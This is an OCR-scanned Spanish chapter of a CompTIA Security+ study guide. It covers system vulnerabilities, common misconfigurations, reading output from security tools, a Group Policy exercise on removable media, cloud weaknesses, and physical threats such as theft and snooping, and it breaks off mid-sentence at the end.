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Preguntas y respuestas Autocomprobacion

Ser capaz de identificar diferentes areas de amenaza para un sis-
tema es una habilidad importante para tener como profesional de
seguridad y una que seguramente se pondra a prueba para el exa-
men de certificacion Security +. Este capitulo identificara los tipos
populares de amenazas contra diferentes tipos de dispositivos y sistemas,
asi como los diferentes tipos de software malicioso con los que debe estar

familiarizado para el examen.

OBJETIVO DE CERTIFICACION 5.01
Problemas de seguridad con vulnerabilidades

Antes de entrar en los diferentes tipos de amenazas a un sistema, hable-
mos de algunas razones por las que los sistemas son vulnerables y el im-
pacto que un sistema vulnerable tiene para una organizacion. En el

capitulo 2 se le presento el término vulnerabilidad, que es una debilidad

en un producto o sistema. En este capitulo aprendera mas acerca de por
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qué existen esas vulnerabilidades y qué puede hacer para reducir el

numero de vulnerabilidades en un sistema.

Este capitulo se centra principalmente en las vulnerabilidades encon-
tradas en sistemas que estan "en las instalaciones" (es decir, en su LAN)
frente a los sistemas o aplicaciones en la nube. Si su organizacion utiliza
recursos en la nube, asegurese de evaluar también los tipos de vulnera-

bilidades que existen en la nube.

Un tipo muy importante de vulnerabilidad a tener en cuenta es una
vulnerabilidad de dia cero, que es una vulnerabilidad desconocida para el
proveedor de software que creo el software y, como resultado, aun no se
ha creado ninguna solucion o parche para la vulnerabilidad. Una vulner-
abilidad de dia cero es susceptible a un ataque de dia cero, que es un tipo

de ataque muy peligroso porque el software aun no ha sido parcheado.

Para ayudar a prevenir ataques de dia cero, use una combinacion de
controles de seguridad, incluidos los sistemas de parches y las aplica-
ciones de forma regular, el uso de firewalls de capa de aplicacion para
controlar el tipo de trafico que puede llegar a un sistema o aplicacion, y la
implementacion de un sistema de prevencion de intrusiones (IPS) para

supervisar la actividad, identificar amenazas y bloquear ataques.
Razones para los sistemas vulnerables

Hay un gran numero de vulnerabilidades, o debilidades, en un sistema
que permiten a un atacante obtener acceso al sistema y sus datos. En esta
seccion, aprendera sobre las vulnerabilidades mas comunes en un

sistema.

Configuraciones débiles

La primera razon para un sistema vulnerable es la configuracion débil.
La configuracion débil de un sistema viene en muchas formas diferentes,

siendo los siguientes los errores de configuracion mas comunes:



B Permisos abiertos No configurar permisos en un sistema o en una

aplicacion puede dejar el sistema abierto a los atacantes. Es fundamental
asegurarse de que las cuentas de invitado o andénimas no tengan acceso

de escritura a los datos del sistema.

H Cuentas raiz no seguras Se deben seguir las mejores practicas con cuen-

tas de administrador, como la cuenta raiz en Linux y la cuenta de admin-
istrador en Windows. Las practicas recomendadas comunes incluyen
cambiar el nombre de la cuenta predeterminada, establecer una
contrasefia segura en la cuenta y limitar la creacion de cuentas adi-

cionales de nivel raiz.

m Errores Los errores son errores cometidos en la configuracion que podrian

dejar el sistema abierto a ataques. Por ejemplo, no limitar las transferen-
cias de zona en un servidor DNS podria dejar los datos DNS abiertos para

el atacante.

B Cifrado débil No cifrar los datos en reposo y los datos en transito es un er-

ror critico. Con todos los dispositivos, aplicaciones y protocolos, busque
como se pueden cifrar los datos para proteger la confidencialidad de los
datos de la empresa y garantizar que el algoritmo de cifrado que se utiliza
se considere un algoritmo sélido segun los estandares actuales. Por ejem-
plo, aprendera sobre los algoritmos de cifrado en el Capitulo 12 y el he-
cho de que DES y 3DES se consideran protocolos de cifrado débiles. Si una
aplicacion utiliza DES o 3DES, deberia ver si puede cambiar la
configuracion y utilizar el algoritmo AES mas seguro. Consulte los

capitulos 12 y 13 para obtener mas informacion sobre el cifrado.

B Protocolos no seguros Asegurese de que las aplicaciones utilizan ver-

siones seguras de protocolos para que la comunicacion esté cifrada. Por
ejemplo, asegurese de que una aplicacion web usa HTTPS en lugar de
HTTP.
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B Configuracion predeterminada Revise la configuracion predeterminada

de un sistema o aplicacion y busque la configuracion predeterminada
que pueda poner en riesgo el sistema. Por ejemplo, las versiones anteri-
ores de Windows Server tenian instalado el software de servidor web de
Microsoft de forma predeterminada. Esto significaba que su Windows
Server estaba abierto a ataques web listos para usar. Como admin-
istrador, se le ensefio a eliminar el software del servidor web después de

la instalacion de Windows si no necesitaba el software del servidor web.

B Puertos y servicios abiertos Asegurese de limitar los servicios que se eje-

cutan en un sistema, lo que reduce los puertos que estan abiertos en un

sistema.

Riesgos de terceros

También existen riesgos al trabajar con compafiias de terceros. Las ac-
ciones realizadas por empresas de terceros con las que trabaja pueden

dejar a su empresa vulnerable. Los siguientes son algunos ejemplos:

H Gestion de proveedores La forma en que un proveedor administra sus

productos puede presentar vulnerabilidades en su entorno que utiliza los
productos de ese proveedor. Por ejemplo, {como se integra el sistema de
un proveedor en su red? ¢Utiliza protocolos seguros? ¢Necesita una
cuenta en la red? Si un producto es mas antiguo, es posible que el provee-
dor ya no admita el producto. Un producto que ya no es compatible ya no
tiene parches creados, lo que significa que podria estar abierto a ataques

de dia cero.

B Cadena de suministro Si estd trabajando con un proveedor que no sigue

las mejores practicas de seguridad, podria recibir un producto del

proveedor que se ha visto comprometido y luego conectarse a su red.

Bl Desarrollo de cddigo subcontratado El codigo de aplicacion no seguro es

una gran causa de vulnerabilidades en un sistema. La externalizacion del



desarrollo de un componente para ser utilizado por sus aplicaciones
podria hacer que sean inseguras si la empresa subcontratada no sigue

practicas de codificacion seguras.

m Almacenamiento de datos Es posible que esté almacenando datos con una

empresa externa, tal vez como un sitio alternativo para almacenar copias
de seguridad de datos. Verifique que la compafiia de terceros esté prote-
giendo el sistema que contiene sus datos, pero también tome medidas
propias para garantizar que los datos estén cifrados y que solo su em-

presa pueda descifrarlos.
Administracion de parches inadecuada o débil

La falta de una estrategia de parches es una de las principales razones de
los sistemas vulnerables porque un parche tiene las correcciones de se-
guridad para vulnerabilidades conocidas. Asegurese de aplicar parches a

lo siguiente regularmente:

B Firmware Aplique actualizaciones al firmware en dispositivos como servi-

dores, enrutadores, conmutadores y cualquier otro dispositivo de hard-

ware que pueda existir dentro de su empresa.

Bl Sistema operativo (SO) Parche el sistema operativo regularmente y

busque software de administracion de parches para automatizar la

implementacion de parches.

H Aplicaciones Asegurese de que las aplicaciones también estén parc-

headas. Una vulnerabilidad en una aplicacion puede hacer que todo el

sistema sea vulnerable a un ataque.
Plataformas heredadas

Los sistemas heredados son algo que debe tener en cuenta en la red, ya
que muchos sistemas heredados ya no tienen soporte de proveedores, lo

que significa que lo mas probable es que ya no estén parcheados.



Ademads, un sistema heredado puede estar utilizando protocolos mas an-
tiguos que no son seguros. Si esta utilizando sistemas heredados en su
red, busque colocarlos en su propio segmento de red para ayudar a re-

ducir las posibilidades de que los sistemas sean atacados.
Comprender el impacto de las vulnerabilidades

Una empresa que no aprenda a gestionar las vulnerabilidades que exis-
ten en un sistema podria enfrentarse a resultados desastrosos. Los sigu-
ientes son impactos potenciales para un negocio que no reduce las vul-

nerabilidades que existen en sus productos:

B Pérdida de datos Una vulnerabilidad en el sistema puede hacer que pierda

el acceso a los datos. Por ejemplo, un atacante podria aprovechar la vul-

nerabilidad y eliminar los datos o cifrarlos con ransomware.

H Violaciones de datos Una violacion de datos ocurre cuando una persona

no autorizada obtiene acceso a datos confidenciales. Una violacion de
datos también se conoce como fuga de datos o derrame de datos. La
violacién de datos puede incluir informacion como registros de salud,
datos financieros y propiedad intelectual. El impacto de una violacion de
datos podria ser desastroso para una empresa debido al costo de investi-
gar y recuperarse de la violacion de datos, pero la empresa también

podria ver dafios a su reputacion.

m Exfiltracion de datos La exfiltracion de datos ocurre cuando alguien

transfiere datos desde una computadora o red sin permiso para hacerlo.
Ejemplos de datos confidenciales que un atacante puede querer transferir
desde un sistema son datos financieros (como numeros de tarjetas de
crédito), informacion de identificacion personal (PII) y nombres de
usuario y contrasefias. Para evitar la filtracion de datos, puede deshabili-
tar los puertos USB para que el almacenamiento portatil, como unidades
flash USB y unidades externas USB, no se pueda conectar a un sistema, o

puede usar las caracteristicas de prevencion de pérdida de datos (DLP)



para impedir que los datos confidenciales se copien o envien por correo

electronico fuera de la organizacion.

B Robo de identidad Una vulnerabilidad en un sistema podria resultar en el

robo de identidad, donde se roba informacion personal sobre una per-

sona, permitiendo al atacante asumir la identidad de la victima.

B Pérdidas financieras Una vulnerabilidad podria resultar en pérdidas fi-

nancieras debido a muchas razones. En primer lugar, la vulnerabilidad
puede permitir que el atacante bloquee los sistemas de produccidn, lo
que resulta en pérdidas de ingresos, pero también existe el costo de recu-

perar los sistemas y el costo intangible del dafio a la reputacion.

B Dafio a la reputacion Como ya se ha mencionado varias veces, una vulner-

abilidad explotada que resulte en un compromiso del sistema podria
causar dafios a la reputacion de la empresa. Los clientes pueden optar
por dejar de hacer negocios con su empresa si sienten que sus datos no

estan seguros.

B Pérdida de disponibilidad Una vulnerabilidad podria provocar la pérdida

de disponibilidad de un sistema o servicio. Por ejemplo, una vulnerabili-
dad en una base de datos back-end puede hacer que una aplicacion web
de comercio electronico no pueda mostrar productos o tomar pedidos en

linea.

‘ Tiatch

Para el examen, recuerde que la exfiltracion de datos es transferir
datos de una computadora sin permiso y que puede reducir el riesgo
de exfiltracion de datos deshabilitando el uso de unidades USB e im-

plementando soluciones de prevencion de pérdida de datos (DLP).

Problemas de seguridad comunes y salida del dispositivo



Los sistemas y las redes pueden verse comprometidos de muchas man-
eras diferentes, pero la buena noticia es que la mayoria de los exploits y
ataques se dirigen a un pufiado de problemas de seguridad que podemos
identificar y abordar. En esta seccion aprendera acerca de las estrategias
para solucionar problemas de seguridad comunes y resultados comunes
con diferentes tecnologias de seguridad. También aprendera sobre los
marcos de seguridad comunes y las guias que las organizaciones utilizan

para desarrollar sus estrategias de seguridad.
Solucion de problemas de seguridad comunes

El examen de certificacion Security+ espera que conozca las razones co-
munes por las que ocurren incidentes de seguridad, como un pirata

informatico que explota un sistema, un usuario que elimina accidental o
intencionalmente un archivo, o incluso un usuario que envia por correo

electrdnico datos confidenciales a alguien fuera de la empresa.

Configuracion débil o configuracion incorrecta Se producen varios in-
cidentes de seguridad debido a problemas de configuracion incorrecta o
configuracion de seguridad débil. Por ejemplo, una pequefia empresa
puede configurar una red inalambrica utilizando un enrutador

inaldmbrico y no cambiar ninguno de los valores predeterminados.

Las siguientes son configuraciones erroneas comunes de sistemas o

dispositivos que causan problemas de seguridad:

B Credenciales sin cifrar/texto sin cifrar Muchas tecnologias y protocolos de

Internet no cifran el trafico de red de forma predeterminada, incluidos el
nombre de usuario y la contrasefia utilizados para iniciar sesion en el dis-
positivo. Asegurese de utilizar tecnologias de cifrado como SSL/TLS, VPN

y versiones seguras de protocolos cuando sea posible.

Bl Registros y anomalias de eventos Cuando mire sus registros de eventos y

registros de actividad, asegurese de estar atento a los eventos anormales
que aparecen en el registro. Cualquier actividad sospechosa debe investi-

garse mas a fondo. Desde el punto de vista de una configuracion incor-



recta, compruebe que el registro esta habilitado y que sabe donde se al-

macenan los registros para el sistema y los dispositivos.

B Problemas de permisos No configurar los permisos adecuados en los re-

cursos es una razon comun por la que los ataques internos son tan exi-
tosos. Asegurese de revisar los permisos de recursos de forma regulary

solo otorgue los permisos necesarios (principio de privilegios minimos).

M Violaciones de acceso Una violacion de acceso ocurre cuando alguien que

no estad autorizado para acceder a un sistema obtiene acceso. Asegurese
de requerir autenticacion antes de que alguien pueda obtener acceso a
una red o sistema, y asegurese de que el trafico de inicio de sesion esté
cifrado. Configure permisos en los recursos para asegurarse de que nadie

pueda obtener acceso a un recurso que no deba tener acceso.

B Emision de certificados Los certificados son archivos electronicos que

contienen claves utilizadas para cifrar la comunicacion. Los certificados
deben usarse para proteger el trafico web, el trafico de correo electrénico
y la comunicacion de servidor a servidor, como minimo. Asegurese de
que los certificados que se usan no han caducado, no se han revocado y

provienen de una entidad de certificacion (CA) de confianza. Aprendera

mas sobre los certificados en los capitulos 12 y 13.

B Exfiltracion de datos Como se menciond anteriormente, la exfiltracion de

datos ocurre cuando alguien transfiere informacion de un sistema sin
permiso. Recuerde para el examen que para evitar la exfiltracion de
datos, puede deshabilitar los puertos USB o puede usar las funciones DLP
para bloquear la copia de datos confidenciales o el correo electronico

fuera de la organizacion.

m Dispositivos mal configurados La mala configuracion del dispositivo es

una gran razon por la que los atacantes pueden obtener acceso a sistemas
a los que no deberian poder acceder. Asegurese de configurar lo

siguiente:
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H Cortafuegos Asegurese de que los cortafuegos se utilizan para dividir la

red en diferentes segmentos de red. Un firewall con reglas mal configu-
radas permite a los usuarios acceder a segmentos de red a los que no
deberian tener acceso. Asegurese de que el firewall de cada segmento de
red esté configurado correctamente para controlar qué trafico puede

pasar a través del firewall para llegar a ese segmento de red especifico.

M Filtro de contenido Los dispositivos de filtrado de contenido se utilizan

para controlar a qué contenido de Internet pueden acceder los emplea-
dos. Si las reglas de filtrado de contenido no estan configuradas correcta-
mente, los usuarios podrian estar visitando sitios no seguros y tener

codigo ejecutado en sus sistemas.

B Puntos de acceso Los puntos de acceso inalambricos y los routers

domésticos inalambricos suelen estar mal configurados. Asegurese de re-
visar la configuracion de sus puntos de acceso inaldmbricos y asegurese
de que ha configurado caracteristicas como el filtrado MAC, el cifrado
WPA2 y una clave de cifrado segura y que ha modificado la contrasefia de

administrador predeterminada.

B Configuraciones de seguridad débiles Una gran razdn para los incidentes

de seguridad es la configuracion de seguridad débil. Por ejemplo, un ad-
ministrador de red puede configurar el cifrado en la red inalambrica,
pero elegir un método de cifrado mas débil o tal vez utilizar una clave de
cifrado débil. Asegurese de revisar todas las configuraciones de seguridad
en los dispositivos, como listas de control de acceso, contrasefias, claves
de cifrado, algoritmos de cifrado y cualquier funcion de filtrado que

pueda estar disponible.

Cuestiones de personal Puede configurar los mejores ajustes de seguri-
dad en sus dispositivos y aun pueden ser faciles de piratear si no se en-
foca en capacitar a los empleados para que sean conscientes de la seguri-

dad. También debe estar atento a las amenazas internas. Las siguientes



son consideraciones de seguridad clave que implican problemas de
personal:

M Violacion de la politica Muchos incidentes de seguridad ocurren porque

los empleados violan las politicas de seguridad de la empresa. Asegurese
de educar a los empleados sobre las politicas de seguridad y por qué
estan vigentes. Es menos probable que los empleados violen las politicas
de seguridad si entienden por qué existen las politicas y como el

cumplimiento de ellas protege a la empresa y sus activos.

B Amenaza interna La mayoria de las empresas se centran en los cortafue-

gos como su proteccion de seguridad. Eso es importante, por supuesto,
pero también debe proteger los activos de la empresa de amenazas inter-
nas, como empleados descontentos. Asegurese de usar autenticacion, per-
misos y listas de control de acceso para controlar a qué tienen acceso los
empleados. También asegurese de implementar software antimalware

para proteger sus sistemas internos de virus.

m Ingenieria social Educar a los empleados sobre los ataques comunes de

ingenieria social para que puedan identificar cudndo estan siendo blanco
de la ingenieria social. La educacion es la clave para protegerse contra

los ataques de ingenieria social.

Bl Redes sociales Educar a los empleados sobre qué informacion puede y no

puede publicarse en las redes sociales. Debe tener politicas estrictas que
restrinjan las fotos del lugar de trabajo que se publican en las redes so-
ciales porque pueden contener informacion confidencial. Por ejemplo,
una imagen de un empleado sentado en su escritorio también puede
mostrar un documento confidencial abierto en la pantalla en el fondo o

un documento en el escritorio.

Bl Correo electronico personal Muchos empleados utilizan su cuenta de

correo electronico personal en el trabajo y podrian utilizarla para enviar

por correo electronico datos de la empresa fuera de la empresa.



Asegurese de tener caracteristicas DLP para protegerse contra fugas de
datos. También tenga en cuenta el almacenamiento personal en la nube
que los empleados pueden usar para transferir datos hacia y desde el tra-
bajo. Puede considerar bloquear el acceso a estos sitios en el firewall o

dispositivo de filtrado de contenido.
Problemas de aplicacion

El software es otra area de preocupacion con la seguridad. Debe tener en

cuenta todas las siguientes cuestiones relacionadas con las aplicaciones:

H Software no autorizado Las organizaciones deben tener politicas estric-

tas en cuanto a qué software se permite o no se puede ejecutar en los sis
temas de la empresa. La lista blanca de aplicaciones se refiere a definir
qué software puede ejecutarse en un sistema. Puede usar una her-
ramienta como Windows AppLocker como parte de la directiva para re-

stringir qué software puede ejecutarse en un sistema.

B Desviacion de linea base Una linea base de seguridad es un estado de se-

guridad definido del que los sistemas no deben desviarse. Cualquier
modificacion de un sistema que pueda abrir el sistema y hacerlo menos
seguro debe ser examinada primero y monitoreada de cerca si se imple-
menta. Las organizaciones pueden usar tecnologias como la
Configuracion de estado deseado (DSC) de PowerShell para evitar cam-

bios en un sistema que se desvien de la linea base.

H Violacion del cumplimiento de la licencia (disponibilidad/integridad)

Las empresas pueden enfrentar multas graves si se descubre que no
cumplen con las licencias de software. Hay herramientas disponibles que
le permiten realizar un seguimiento de la instalacion del software y
garantizar que no exceda el numero de instalaciones con licencia

permitidas.

H Gestion de activos Una vez que un sistema se pone en produccion, debe

mantener ese sistema para mantenerlo seguro. Mantener los sistemas de



forma centralizada es la clave del éxito con la gestion de activos. Use pro-
ductos como objetos de directiva de grupo (GPO) y Microsoft Endpoint
Configuration Manager (MECM) para administrar la implementacion de

configuraciones, revisiones, controladores y aplicaciones.

B Problemas de autenticacion Asegurese de que las aplicaciones estén con-

figuradas para la autenticacion de la manera mas segura para que al-
guien no pueda aprovechar el trafico de autenticacion y obtener acceso a
la red utilizando las credenciales utilizadas por la aplicacion. Asegurese
de que las aplicaciones utilizan sus propias cuentas y no cuentas prede-
terminadas, como la cuenta del sistema o la cuenta "sa" al conectarse a

una base de datos.
Analisis e interpretacion de resultados de tecnologias de seguridad

Hay una serie de diferentes dispositivos y tecnologias de seguridad que
muestran mensajes a los usuarios o proporcionan informacion a los ad-
ministradores de sistemas para que estén al tanto de los posibles inci-

dentes de seguridad que se producen. En la lista siguiente se identifican

los resultados que veria de estas tecnologias de seguridad:

B HIDS/HIPS Un sistema de deteccidon de intrusiones basado en host (HIDS) o

un sistema de prevencion de intrusiones basado en host (HIPS) muestra
notificaciones de amenazas potenciales dentro de la aplicacion o las
envia a una direccion de correo electrénico designada. Revise los eventos
de notificacion para identificar cualquier actividad sospechosa en el sis-
tema. Al mirar la salida, revise la fecha y hora del evento, el origen del
evento (la mayoria de los productos HIDS/HIPS revisan los registros de
muchas fuentes) y la cuenta que causo el evento. Con esta informacion,

puede decidir si es necesario realizar un cambio de configuracion.

B Antivirus El software antivirus proporciona registros y notificaciones.

Revise estos registros y notificaciones para obtener informacién como el
resultado de un analisis programado, que informara si se encontro mal-

ware v, de ser asi, el nombre del malware y los nombres de los archivos



infectados. También recibira informacion sobre cualquier accion correc-
tiva tomada, como si un archivo infectado se eliminé del sistema o se

movio a un area de cuarentena.

B Comprobacion de integridad del archivo Cuando ejecute herramientas

que comprueben la integridad del archivo, le informaran si ha habido
cambios en el archivo desde que se calcul6 el valor hash del archivo.
Puede recibir resultados de comprobaciones de integridad de archivos,
como "discrepancia de hash" o "discrepancia de firma", 1o que significa
que el archivo se ha alterado. Los resultados como "hash match", "hash
valid" o "signature verified" le permiten saber que el archivo no ha

cambiado.

Bl Firewall basado en host Los firewalls basados en host generalmente es-

criben en los registros o muestran alertas si interrumpen el trafico debido
a reglas configuradas en el sistema. Busque la salida que contenga
informacion como "paquete descartado src = 24.35.45.3: 63378 TCP dst =
32.46.58.62: 80 TCP". Dentro de esta informacion, deberia ver las direc-
ciones IP de origen y destino (24.35.45.3 y 32.46.58.62), los nameros de
puerto utilizados por los sistemas de origen y destino (:63378 y :80) y el
protocolo (TCP).

M Lista blanca de aplicaciones La lista blanca de aplicaciones es configurar

un sistema para una lista de software aprobado que se puede utilizar en
el sistema. Si alguien intenta instalar o ejecutar una aplicacion que no
estd en la lista, recibird un mensaje de error que indica que la aplicacion
no esta autorizada. Puede usar AppLocker en Windows para crear una

lista de aplicaciones autorizadas para ejecutarse en el sistema.

B Control de medios extraibles El control de medios extraibles es cuando se

controla a qué medios se puede acceder en un sistema, como unidades de
disco optico y medios extraibles (por ejemplo, unidades USB externas).
Cuando los usuarios intentan conectarse o acceder a una unidad que no

se les permite usar, normalmente ven aparecer una notificacion en la



pantalla que indica que no estan autorizados para acceder a la unidad.
Puede configurar el control de medios extraibles a través de directivas de

grupo en Windows, como se muestra en el préoximo ejercicio 5-1.

m Herramientas avanzadas de malware Las herramientas avanzadas de

malware le notifican el malware que se detectd y proporcionan
informacién detallada sobre el malware. También informan si el mal-

ware se elimind con éxito o se movid a un area de cuarentena.

B Herramientas de gestion de parches Las herramientas de gestion de

parches estan disefiadas para ayudar en el despliegue de parches en los
sistemas de la red. Con las herramientas de administracion de revisiones,
deberia ver resultados, como qué parches requiere un sistema y actual-
izaciones de estado cuando implementa un parche en un sistema. Si por
alguna razon no se aplico un parche a uno o mas sistemas, también se le

notificara.

B UTM Un sistema unificado de gestion de amenazas (UTM) es un dispositivo

que combina una serie de funciones de seguridad, como un firewall, IDS /
IPS, antivirus de puerta de enlace y antispam de puerta de enlace, filtrado
de contenido y prevencion de pérdida de datos, por nombrar algunas
tecnologias de seguridad integradas. Los sistemas UTM generan una serie
de informacion, como alertas de trafico sospechoso, informes sobre el
numero de virus y mensajes de spam bloqueados, y resumenes del

numero de infracciones de filtro de contenido.

Bl Las soluciones de prevencion de pérdida de datos (DLP) DLP evitan que los

usuarios puedan enviar informacion confidencial fuera de la empresa.
Cuando un usuario intenta copiar datos en una unidad USB, puede recibir
un mensaje de error de la solucion DLP que indica que no tiene permisos,
0 si un usuario intenta enviar un correo electréonico que contiene
informacion confidencial bloqueada por DLP, el usuario normalmente
recibird un correo electronico que indica que el contenido no se envio de-

bido a una infraccion de DLP.



H Prevencion de ejecucion de datos La prevencion de ejecucion de datos

(DEP) es una funcidn que se puede habilitar para evitar que el codigo de
la aplicacion se ejecute en areas de memoria utilizadas para almacenar
datos (conocidas como paginas de datos). Con DEP, los bloques de memo-
ria no utilizados para ejecutar un programa son marcados como paginas
no ejecutables por el sistema para que el software malintencionado no se
ejecute en ese bloque de memoria. Puede verificar que DEP esté habili-
tado en su sistema yendo a un simbolo del sistema y escribiendo wmic
OS Get DataExecutionPrevention_SupportPolicy. Recibira una salida
de O (siempre desactivada), 1 (siempre activada), 2 (activada para
archivos binarios de Windows) o 3 (activada para todos los programas y

servicios).

B Firewall de aplicaciones web Un firewall de aplicaciones web esta

disefiado para proteger los servidores web del trafico malicioso y solo
permitir que el trafico a la aplicacion web pase a través del firewall. El
trafico bloqueado por el firewall se escribe en un archivo de registro para

que el administrador de sistemas pueda revisar el trafico bloqueado.

KCh

Video

Control de medios extraibles

En este ejercicio, deshabilite el acceso de escritura a medios
extraibles a través de directivas en el sistema y, a
continuacion, intente guardar un archivo en una unidad
extraible para revisar la salida proporcionada por el

sistema.

1. Inicie sesidn en la maquina virtual de Windows 10 y luego

haga clic en el boton Inicio.



2. Escriba gpedit.msc y presione enter para iniciar el Editor de

politicas de grupo local.

3. Expanda Configuracion del equipo | Plantillas administrati-
vas | Sistema y, a continuacion, seleccione Acceso al alma-

cenamiento extraible.

4. Aqui vera una serie de politicas para deshabilitar el acceso
de ejecucion, lectura o escritura a diferentes tipos de
medios. Haga doble clic en la directiva Discos extraibles:
Denegar acceso de escritura y, a continuacion, elija
Habilitar.

5. Haga clic en Aceptar para cerrar la pantalla de directivasy
haga clic en el botdn x para cerrar la ventana Editor de di-

rectivas de grupo local.

6. Inserte una unidad USB en el sistema e intente crear un

archivo en la unidad USB.

¢Tuviste éxito?

¢Qué mensaje recibiste?

7. Cierre todas las ventanas.

Vulnerabilidades basadas en la nube frente a vulnerabilidades
locales

Las vulnerabilidades contenidas en este capitulo en su mayor parte se
analizaron teniendo en cuenta las redes locales, lo que significa que estas
son vulnerabilidades que encontraria en sistemas y dispositivos dentro
de su LAN.

También podrian existir varias vulnerabilidades comunes en entornos

de nube, y la mayoria de ellas se ocupan de errores de configuracion:



Bl Puertos abiertos Asegurese de no abrir puertos innecesarios en recursos

de la nube, como maquinas virtuales (VM) o aplicaciones. Por ejemplo,
muchos administradores de TI crearan una maquina virtual de Azure y, a
continuacion, abriran el puerto de Protocolo de escritorio remoto (RDP)
para acceder de forma remota a la maquina virtual. En este caso, Azure
tiene una opcion de host bastion disponible para que no sea necesario

abrir el puerto RDP en cada una de las maquinas virtuales.

B Métodos de autenticacion Debido a que se puede acceder a las aplica-

ciones en la nube desde cualquier parte del mundo, debe configurar la
autenticacion multifactor (MFA) para que si usted u otra persona intenta
iniciar sesidn con su cuenta, se envie un codigo de autenticacion a su

teléfono que debe ingresarse para que se produzca la autenticacion.

B Politicas de acceso condicional Puede utilizar directivas de acceso condi-

cional para ayudar a mejorar la seguridad y proteger los recursos contra
contrasenias débiles o autenticacion débil. Las directivas de acceso condi-
cional le permiten establecer restricciones para los usuarios al acceder a
los recursos en la nube. Por ejemplo, puede hacer que las directivas se

apliquen a usuarios, grupos, dispositivos e incluso a su ubicacion IP.

B Demasiados privilegios Esté atento a los usuarios que reciben demasiados

privilegios dentro del entorno de nube (por ejemplo, agregar usuarios in-

necesarios al grupo Administradores globales).
OBJETIVO DE CERT TFICACION 5.02
Identificacion de amenazas fisicas

Antes de sumergirme en los diferentes tipos de software malicioso,
quiero familiarizarlo con algunas de las amenazas fisicas populares que
experimentan las empresas en el mundo real. En esta seccion, discuto al-

gunos tipos comunes de amenazas fisicas a sistemas y dispositivos y



también discuto como minimizar las amenazas contra los activos de su

empresa.

Husmeando

En el capitulo 4 se le presento el concepto de buceo en contenedores de
basura, que implica que el hacker revise su basura y tome documentos
confidenciales que podrian ayudar con un ataque. Un contenedor de ba-
sura hacker no solo podria sumergirse en su negocio, sino que sus em-
pleados también podrian husmear en los papeles en el escritorio de otra
persona o incluso revisar su archivador mirando documentos que no son

de su incumbencia.

Para proteger la informacion de tales ataques de espionaje, asegurese
de implementar una politica de escritorio limpio dentro de la empresa.
Una Un especifica que los documentos confidenciales no deben dejarse a

la intemperie y deben archivarse cuando no estén en uso.

También debe proteger la informacion que se coloca en los
archivadores asegurandose de que los archivadores estén en un area se-
gura y bloqueados para evitar que personas no autorizadas accedan a la

informacion.

Tatch

Debe saber que todos los documentos deben triturarse antes de
desecharse para protegerlos del espionaje o el buceo en contene-

dores de basura.

Eduque a todos los empleados en el negocio para asegurarse de que tri-
turen todos los documentos para ser desechados y no tiren documentos
sin triturar directamente a la basura o papelera de reciclaje. iTodos los
documentos de la compafiia que se eliminan deben hacer un viaje a

través de la trituradora primero!

Robo y pérdida de activos


https://learning.oreilly.com/library/view/comptia-security-certification/9781260467949/ch04.xhtml#ch4

Muchas amenazas de seguridad fisica son planteadas por equipos perdi-
dos o robados, como una computadora portatil o un dispositivo movil
(teléfono inteligente, tableta, etc.). Muchas empresas tienen una politica
de que si un empleado deja una computadora portatil o dispositivo movil
de la empresa en un automovil, no debe dejarlo a la vista, para evitar el
robo de aplastar y agarrar. En este caso, algunas empresas especifican en
la politica que el empleado es responsable del reemplazo de la computa-
dora portatil o dispositivo electronico. Se recomienda a los empleados
que coloquen todos los dispositivos electronicos bloqueados en el
maletero de su automavil en lugar de dejarlos visibles en el asiento del
pasajero o en el asiento trasero del automovil. Cabe sefialar que algunas
organizaciones pueden reprender a los empleados por no seguir dichas
politicas para garantizar que los empleados vean el valor de tomar deci-

siones responsables con los activos de la empresa.

Dentro de la oficina, puede ayudar a disuadir el robo de equipos como
computadoras portatiles, monitores de pantalla plana, proyectores e in-
cluso computadoras de escritorio mediante el uso de un cable de bloqueo.
Un cable de bloqueo es un cable pequefio que estd conectado y bloqueado
al dispositivo y que asegura el dispositivo al escritorio. Estos cables de
bloqueo no van a evitar que un ladron determinado robe el equipo, sino
que actuaran como un elemento disuasorio y evitaran que alguien pase

casualmente y pase el equipo. La figura 5-1 muestra un cable de bloqueo.




Uso de un cable de bloqueo para ayudar en la seguridad fisica

Borrado remoto del dispositivo

Asegurese de que los empleados sepan la importancia de informar in-
mediatamente sobre dispositivos moviles perdidos o robados para que
pueda borrar estos dispositivos de forma remota lo mas rapido posible.
Borrar un dispositivo envia una sefial desde el servidor al dispositivo
para borrar todos sus datos y su configuracion. Esto garantiza que un dis-

positivo movil perdido o robado no tenga informacion confidencial.
Protecciones en el dispositivo

Es importante que implemente salvaguardas en su equipo maévil para
que, si es robado o perdido, haga que sea lo mas dificil posible para al-

guien usar el dispositivo.



La mayoria de los dispositivos admiten la configuracion de algun tipo
de contrasefia o cddigo PIN para que si alguien roba el dispositivo, nece-
siten saber el codigo de acceso para usarlo. La mayoria de los dispositivos
moviles, como iPhones y Androids, admiten el bloqueo del dispositivo
después de un cierto periodo de no uso (conocido como bloqueo
automatico). Esta funcion de bloqueo significa que si el dispositivo se
pierde o es robado, alguien que encuentre o robe el dispositivo necesitara
saber el cddigo de desbloqueo para acceder a él. También es posible que
desee habilitar cualquier funcion de seguimiento de dispositivos que el
dispositivo pueda admitir para que pueda localizar el dispositivo en caso

de pérdida o robo.

Cuando se trata de computadoras portatiles, asegurese de establecer
una contrasefia de encendido del BIOS en el dispositivo y también de
cambiar el orden de arranque en la computadora portatil para que al-
guien no pueda arrancar desde CD-ROM e instalar su propio sistema op-
erativo si roba el dispositivo. Asegurese de establecer la contrasefia de ad-
ministrador del BIOS para que alguien no pueda entrar en el BIOS y re-

alizar cambios, como alterar el orden de arranque.

Sino puede establecer una contrasefia de arranque en el BIOS, con-
sidere el cifrado completo de la unidad con una herramienta como
BitLocker, que es una caracteristica de cifrado de unidad integrada en los
sistemas Windows que no solo cifra el contenido de la unidad, sino que

también actia como una contrasefia de arranque.

Cifrado de datos

En el Capitulo 12 aprendera sobre el cifrado, pero es importante tener en
cuenta aqui que un gran paso para proteger sus datos confidenciales en
una computadora portatil o dispositivo mavil es cifrar esos datos en caso
de que el dispositivo se pierda o sea robado. Si los datos estan encripta-
dos, entonces ha garantizado la seguridad de los datos de la empresa, in-
cluso si su dispositivo se ha perdido o ha sido robado. Una vez mas, un
buen ejemplo de una tecnologia que podria usarse para cifrar todo el

disco es BitLocker.


https://learning.oreilly.com/library/view/comptia-security-certification/9781260467949/ch12.xhtml#ch12

Al planificar la seguridad de los dispositivos mgviles, siempre asuma

an the

] . o, -
